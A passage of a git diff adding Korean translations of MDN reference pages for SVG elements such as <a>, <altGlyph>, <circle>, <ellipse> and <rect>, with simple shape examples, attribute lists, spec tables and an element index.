+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+ <td>{{Spec2('Referrer Policy')}}</td>
+ <td>Added the <code>referrerpolicy</code> attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("SVG2", "linking.html#Links", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("SVG2")}}</td>
+ <td>Replaced {{SVGAttr("xlink:href")}} attribute by {{SVGAttr("href")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("SVG1.1", "linking.html#Links", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("SVG1.1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("svg.elements.a")}}</p>
diff --git a/files/ko/web/svg/element/altglyph/index.html b/files/ko/web/svg/element/altglyph/index.html
new file mode 100644
index 0000000000..5da1e1848c
--- /dev/null
+++ b/files/ko/web/svg/element/altglyph/index.html
@@ -0,0 +1,79 @@
+---
+title: <altGlyph>
+slug: Web/SVG/Element/altGlyph
+tags:
+ - Element
+ - SVG
+ - "altGlyph\_엘리먼트"
+translation_of: Web/SVG/Element/altGlyph
+---
+<div>{{SVGRef}}{{deprecated_header}}</div>
+
+<p><code>altGlyph</code> 엘리먼트는 하위 문자 데이타를 랜더링 하기 위해 사용되는 매우복잡한 상형문자의 섹션을 허용한다.</p>
+
+<h2 id="사용예_컨텍스트">사용예 컨텍스트</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="속성들">속성들</h2>
+
+<h3 id="글로벌_속성들">글로벌 속성들</h3>
+
+<ul>
+ <li><a href="/en-US/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#XLink">XLink attributes</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="특정_속성들">특정 속성들</h3>
+
+<ul>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("dx")}}</li>
+ <li>{{SVGAttr("dy")}}</li>
+ <li>{{SVGAttr("rotate")}}</li>
+ <li>{{SVGAttr("glyphRef")}}</li>
+ <li>{{SVGAttr("format")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+</ul>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 엘리먼트는 <code><a href="/en-US/docs/Web/API/SVGAltGlyphElement">SVGAltGlyphElement</a></code> 인터페이스를 구현한다..</p>
+
+<h2 id="명세서들">명세서들</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세서</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('SVG1.1', 'text.html#AltGlyphElement', '&lt;altGlyph&gt;')}}</td>
+ <td>{{Spec2('SVG1.1')}}</td>
+ <td>초기화 선언</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("svg.elements.altGlyph")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{SVGElement("tspan")}}</li>
+ <li>{{SVGElement("glyph")}}</li>
+ <li>{{SVGElement("altGlyphDef")}}</li>
+</ul>
diff --git a/files/ko/web/svg/element/circle/index.html b/files/ko/web/svg/element/circle/index.html
new file mode 100644
index 0000000000..bfeaab30ac
--- /dev/null
+++ b/files/ko/web/svg/element/circle/index.html
@@ -0,0 +1,95 @@
+---
+title: <circle>
+slug: Web/SVG/Element/circle
+translation_of: Web/SVG/Element/circle
+---
+<div>{{SVGRef}}</div>
+
+<p><code>circle(원)은</code> 엘리먼트는 중심점과 반지름에 기초하여 원을 생성하는데 사용되는  SVG의 기본 모양이다. </p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="50" cy="50" r="50"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', 100, 100)}}</p>
+</div>
+
+<h2 id="사용예_컨텍스트">사용예 컨텍스트</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;svg viewBox="0 0 120 120" version="1.1"
+ xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;circle cx="60" cy="60" r="50"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>» <a href="https://mdn.mozillademos.org/files/7707/circle2.svg">circle.svg</a></p>
+
+<h2 id="속성들">속성들</h2>
+
+<h3 id="글로벌_속성들">글로벌 속성들</h3>
+
+<ul>
+ <li><a href="/en-US/SVG/Attribute#Conditional_processing_attributes">조건부 처리 속성들</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Core_attributes">주요 속성들</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Graphical_event_attributes">그래픽 이벤트 속성들</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Presentation_attributes">표현 속성들</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="특정_속성들">특정 속성들</h3>
+
+<ul>
+ <li>{{ SVGAttr("cx") }}</li>
+ <li>{{ SVGAttr("cy") }}</li>
+ <li>{{ SVGAttr("r") }}</li>
+</ul>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 엘리먼트는 {{ domxref("SVGCircleElement") }} 를 구현한다..</p>
+
+<h2 id="명세서들">명세서들</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세서</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('SVG2', 'shapes.html#CircleElement', '&lt;circle&gt;')}}</td>
+ <td>{{Spec2('SVG2')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('SVG1.1', 'shapes.html#CircleElement', '&lt;circle&gt;')}}</td>
+ <td>{{Spec2('SVG1.1')}}</td>
+ <td>초기화 선언</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("svg.elements.circle")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ SVGElement("ellipse") }}</li>
+</ul>
diff --git a/files/ko/web/svg/element/ellipse/index.html b/files/ko/web/svg/element/ellipse/index.html
new file mode 100644
index 0000000000..31997952c3
--- /dev/null
+++ b/files/ko/web/svg/element/ellipse/index.html
@@ -0,0 +1,110 @@
+---
+title: <ellipse>
+slug: Web/SVG/Element/ellipse
+tags:
+ - Element
+ - Reference
+ - SVG
+ - SVG Grahpics
+translation_of: Web/SVG/Element/ellipse
+---
+<div>{{SVGRef}}</div>
+
+<p><strong><code>&lt;ellipse&gt;</code></strong> 요소는 SVG의 기본 모양 중 하나로, 중심좌표와 x축, y축 반지름을 이용하여 타원을 생성합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 타원은 정확한 방향을 특정할 수 없습니다. (예를 들어, 45도 기울어진 타원을 그리려고 할 경우) 하지만 {{SVGAttr("transform")}}속성을 사용함으로써 회전할 수는 있습니다.</p>
+</div>
+
+<div id="LiveSample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;ellipse cx="100" cy="50" rx="100" ry="50" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('LiveSample', 100, '100%')}}</p>
+</div>
+
+<h2 id="Attributes">Attributes</h2>
+
+<dl>
+ <dt>{{SVGAttr("cx")}}</dt>
+ <dd>The x position of the ellipse.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("cy")}}</dt>
+ <dd>The y position of the ellipse.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("rx")}}</dt>
+ <dd>The radius of the ellipse on the x axis.<br>
+ <small><em>Value type</em>: <code>auto</code>|<a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>auto</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("ry")}}</dt>
+ <dd>The radius of the ellipse on the y axis.<br>
+ <small><em>Value type</em>: <code>auto</code>|<a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>auto</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("pathLength")}}</dt>
+ <dd>This attribute lets specify the total length for the path, in user units.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Starting with SVG2 <code>cx</code>, <code>cy</code>, <code>rx</code> and <code>ry</code> are <em>Geometry Propertie</em>s, meaning those attributes can also be used as CSS properties for that element.</p>
+</div>
+
+<h3 id="Global_attributes">Global attributes</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Core Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Styling Attributes</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Conditional Processing Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Event Attributes</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>ARIA Attributes</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('SVG2', 'shapes.html#EllipseElement', '&lt;ellipse&gt;')}}</td>
+ <td>{{Spec2('SVG2')}}</td>
+ <td>Added <code>auto</code> value for <code>rx</code> and <code>ry</code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('SVG1.1', 'shapes.html#EllipseElement', '&lt;ellipse&gt;')}}</td>
+ <td>{{Spec2('SVG1.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("svg.elements.ellipse")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other SVG basic shapes: <strong>{{ SVGElement('circle') }}</strong>, {{ SVGElement('line') }}, {{ SVGElement('polygon') }}, {{ SVGElement('polyline') }}, {{ SVGElement('rect') }}</li>
+</ul>
diff --git a/files/ko/web/svg/element/index.html b/files/ko/web/svg/element/index.html
new file mode 100644
index 0000000000..f1aa117e10
--- /dev/null
+++ b/files/ko/web/svg/element/index.html
@@ -0,0 +1,218 @@
+---
+title: SVG element reference
+slug: Web/SVG/Element
+tags:
+ - NeedsTranslation
+ - SVG
+ - SVG Reference
+ - SVG 엘리먼트
+ - TopicStub
+translation_of: Web/SVG/Element
+---
+<p>« <a href="/en-US/docs/SVG" title="SVG">SVG</a> / <a href="/en-US/docs/SVG/Attribute" title="SVG/Attribute">SVG Attribute reference</a> »</p>
+
+<h2 id="SVG_엘리먼트들">SVG 엘리먼트들</h2>
+
+<div class="index"><span id="A">A</span>
+
+<ul>
+ <li>{{SVGElement("a")}}</li>
+ <li>{{SVGElement("altGlyph")}}</li>
+ <li>{{SVGElement("altGlyphDef")}}</li>
+ <li>{{SVGElement("altGlyphItem")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("animateColor")}}</li>
+ <li>{{SVGElement("animateMotion")}}</li>
+ <li>{{SVGElement("animateTransform")}}</li>
+</ul>
+<span id="C">B C</span>
+
+<ul>
+ <li>{{SVGElement("circle")}}</li>
+ <li>{{SVGElement("clipPath")}}</li>
+ <li>{{SVGElement("color-profile")}}</li>
+ <li>{{SVGElement("cursor")}}</li>
+</ul>
+<span id="D">D</span>
+
+<ul>
+ <li>{{SVGElement("defs")}}</li>
+ <li>{{SVGElement("desc")}}</li>
+</ul>
+<span id="E">E</span>
+
+<ul>
+ <li>{{SVGElement("ellipse")}}</li>
+</ul>
+<span id="F">F</span>
+
+<ul>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMergeNode")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("font")}}</li>
+ <li>{{SVGElement("font-face")}}</li>
+ <li>{{SVGElement("font-face-format")}}</li>
+ <li>{{SVGElement("font-face-name")}}</li>
+ <li>{{SVGElement("font-face-src")}}</li>
+ <li>{{SVGElement("font-face-uri")}}</li>
+ <li>{{SVGElement("foreignObject")}}</li>
+</ul>
+<span id="G">G</span>
+
+<ul>
+ <li>{{SVGElement("g")}}</li>
+ <li>{{SVGElement("glyph")}}</li>
+ <li>{{SVGElement("glyphRef")}}</li>
+</ul>
+<span id="H">H</span>
+
+<ul>
+ <li>{{SVGElement("hkern")}}</li>
+</ul>
+<span id="I">I</span>
+
+<ul>
+ <li>{{SVGElement("image")}}</li>
+</ul>
+<span id="L">J K L</span>
+
+<ul>
+ <li>{{SVGElement("line")}}</li>
+ <li>{{SVGElement("linearGradient")}}</li>
+</ul>
+<span id="M">M</span>
+
+<ul>
+ <li>{{SVGElement("marker")}}</li>
+ <li>{{SVGElement("mask")}}</li>
+ <li>{{SVGElement("metadata")}}</li>
+ <li>{{SVGElement("missing-glyph")}}</li>
+ <li>{{SVGElement("mpath")}}</li>
+</ul>
+<span id="P">N O P</span>
+
+<ul>
+ <li>{{SVGElement("path")}}</li>
+ <li>{{SVGElement("pattern")}}</li>
+ <li>{{SVGElement("polygon")}}</li>
+ <li>{{SVGElement("polyline")}}</li>
+</ul>
+<span id="R">Q R</span>
+
+<ul>
+ <li>{{SVGElement("radialGradient")}}</li>
+ <li>{{SVGElement("rect")}}</li>
+</ul>
+<span id="S">S</span>
+
+<ul>
+ <li>{{SVGElement("script")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("stop")}}</li>
+ <li>{{SVGElement("style")}}</li>
+ <li>{{SVGElement("svg")}}</li>
+ <li>{{SVGElement("switch")}}</li>
+ <li>{{SVGElement("symbol")}}</li>
+</ul>
+<span id="T">T</span>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+ <li>{{SVGElement("textPath")}}</li>
+ <li>{{SVGElement("title")}}</li>
+ <li>{{SVGElement("tref")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+</ul>
+<span id="U">U</span>
+
+<ul>
+ <li>{{SVGElement("use")}}</li>
+</ul>
+<span id="V">V — Z</span>
+
+<ul>
+ <li>{{SVGElement("view")}}</li>
+ <li>{{SVGElement("vkern")}}</li>
+</ul>
+</div>
+
+<h2 id="범주들">범주들</h2>
+
+<h3 id="애니메이션_엘리먼트들">애니메이션 엘리먼트들</h3>
+
+<p>{{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, {{SVGElement("mpath")}}, {{SVGElement("set")}}</p>
+
+<h3 id="기본_모양들">기본 모양들</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="컨테이너_엘리먼트들">컨테이너 엘리먼트들</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("defs")}}, {{SVGElement("glyph")}}, {{SVGElement("g")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("missing-glyph")}}, {{SVGElement("pattern")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}</p>
+
+<h3 id="기술하는_엘리먼트들">기술하는 엘리먼트들</h3>
+
+<p>{{SVGElement("desc")}}, {{SVGElement("metadata")}}, {{SVGElement("title")}}</p>
+
+<h3 id="기본_필터_엘리먼트들">기본 필터 엘리먼트들</h3>
+
+<p>{{SVGElement("feBlend")}}, {{SVGElement("feColorMatrix")}}, {{SVGElement("feComponentTransfer")}}, {{SVGElement("feComposite")}}, {{SVGElement("feConvolveMatrix")}}, {{SVGElement("feDiffuseLighting")}}, {{SVGElement("feDisplacementMap")}}, {{SVGElement("feFlood")}},{{SVGElement("feFuncA")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, {{SVGElement("feFuncR")}},{{SVGElement("feGaussianBlur")}}, {{SVGElement("feImage")}}, {{SVGElement("feMerge")}}, {{SVGElement("feMergeNode")}}, {{SVGElement("feMorphology")}}, {{SVGElement("feOffset")}}, {{SVGElement("feSpecularLighting")}}, {{SVGElement("feTile")}}, {{SVGElement("feTurbulence")}}</p>
+
+<h3 id="폰트_엘리먼트들">폰트 엘리먼트들</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}, {{SVGElement("hkern")}}, {{SVGElement("vkern")}}</p>
+
+<h3 id="구배(경사)_엘리먼트들">구배(경사) 엘리먼트들</h3>
+
+<p>{{SVGElement("linearGradient")}}, {{SVGElement("radialGradient")}}, {{SVGElement("stop")}}</p>
+
+<h3 id="그래픽_엘리먼트들">그래픽 엘리먼트들</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("text")}}, {{SVGElement("use")}}</p>
+
+<h3 id="가벼운_소스_엘리먼트들">가벼운 소스 엘리먼트들</h3>
+
+<p>{{SVGElement("feDistantLight")}}, {{SVGElement("fePointLight")}}, {{SVGElement("feSpotLight")}}</p>
+
+<h3 id="Shape" name="Shape">모양 엘리먼트들</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="구조적인_엘리먼트들">구조적인 엘리먼트들</h3>
+
+<p>{{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("svg")}}, {{SVGElement("symbol")}}, {{SVGElement("use")}}</p>
+
+<h3 id="TextContent" name="TextContent">텍스트 컨텍스트 엘리먼트들</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}, {{SVGElement("textPath")}}, {{SVGElement("text")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="텍스트_컨텍스트_하위_엘리먼트들">텍스트 컨텍스트 하위 엘리먼트들</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("textPath")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="범주화_되지_않은_엘리먼트들">범주화 되지 않은 엘리먼트들</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("color-profile")}}, {{SVGElement("cursor")}}, {{SVGElement("filter")}}, {{SVGElement("foreignObject")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("view")}}</p>
diff --git a/files/ko/web/svg/element/사각형/index.html b/files/ko/web/svg/element/사각형/index.html
new file mode 100644
index 0000000000..90a3d08d24
--- /dev/null
+++ b/files/ko/web/svg/element/사각형/index.html
@@ -0,0 +1,95 @@
+---
+title: <rect>
+slug: Web/SVG/Element/사각형
+translation_of: Web/SVG/Element/rect
+---
+<div>{{SVGRef}}</div>
+
+<p><span style="line-height: 1.5;"><strong>&lt;rect&gt;</strong> 요소는 SVG 기본 모형이고 코너의 위치와 폭과 높이에 따라 사각형을 만드는데 사용된다.</span> 또한 모서리가 둥근 사각형을 만들 수 있다.</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html; highlight[4]">&lt;svg viewBox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;!-- Simple rect element --&gt;
+ &lt;rect x="0" y="0" width="100" height="100" /&gt;
+
+ &lt;!-- Rounded corner rect element --&gt;
+ &lt;rect x="120" y="0" width="100" height="100" rx="15" ry="15" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', 100, '100%')}}</p>
+</div>
+
+<h2 id="컨택스트_사용해보기">컨택스트 사용해보기</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">카테고리</th>
+ <td>기본 도형 요소, 그래픽 요소, 모형 요소</td>
+ </tr>
+ <tr>
+ <th scope="row">허용 된 콘텐츠</th>
+ <td>Any number of the following elements, in any order:<br>
+ <a href="/en/SVG/Element#Animation" title="en/SVG/Attribute#Animation">Animation elements</a> »<br>
+ <a href="/en/SVG/Element#Descriptive" title="en/SVG/Attribute#Descriptive">Descriptive elements</a> »</td>
+ </tr>
+ <tr>
+ <th scope="row">규범 문서</th>
+ <td><a class="external" href="http://www.w3.org/TR/SVG/shapes.html#RectElement" title="http://www.w3.org/TR/SVG/shapes.html#RectElement">SVG 1.1 (2nd Edition)</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Example_2">Example</h2>
+
+<h3 id="간단한_rect_사용하기">간단한 <code>rect</code> 사용하기</h3>
+
+<p>» <a href="https://developer.mozilla.org/files/3247/rect-1.svg" title="https://developer.mozilla.org/files/3247/rect-1.svg">rect-1.svg</a></p>
+
+<h3 id="라운드_코너와_rect_사용하기">라운드 코너와 <span style="font-family: 'Courier New','Andale Mono',monospace; font-weight: inherit; line-height: normal;">rect </span><span style="font-size: 1.7142857142857142rem;">사용하기</span></h3>
+
+<p>» <a href="https://developer.mozilla.org/files/3248/rect-2.svg" title="https://developer.mozilla.org/files/3248/rect-2.svg">rect-2.svg</a></p>
+
+<h2 id="속성">속성</h2>
+
+<h3 id="전역_속성">전역 속성</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#ConditionalProccessing" title="en/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#GraphicalEvent" title="en/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="지정_속성">지정 속성</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("rx") }}</li>
+ <li>{{ SVGAttr("ry") }}</li>
+</ul>
+
+<h2 id="DOM_Interface">DOM Interface</h2>
+
+<p>This element implements the <code><a href="/en/DOM/SVGRectElement" title="en/DOM/SVGRectElement">SVGRectElement</a></code> interface.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("svg.elements.rect")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ SVGElement("path") }}</li>
+</ul>
diff --git a/files/ko/web/svg/index.html b/files/ko/web/svg/index.html
new file mode 100644
index 0000000000..095a7fb090
--- /dev/null
+++ b/files/ko/web/svg/index.html
@@ -0,0 +1,101 @@
+---
+title: SVG
+slug: Web/SVG
+tags:
+ - 2D Graphics
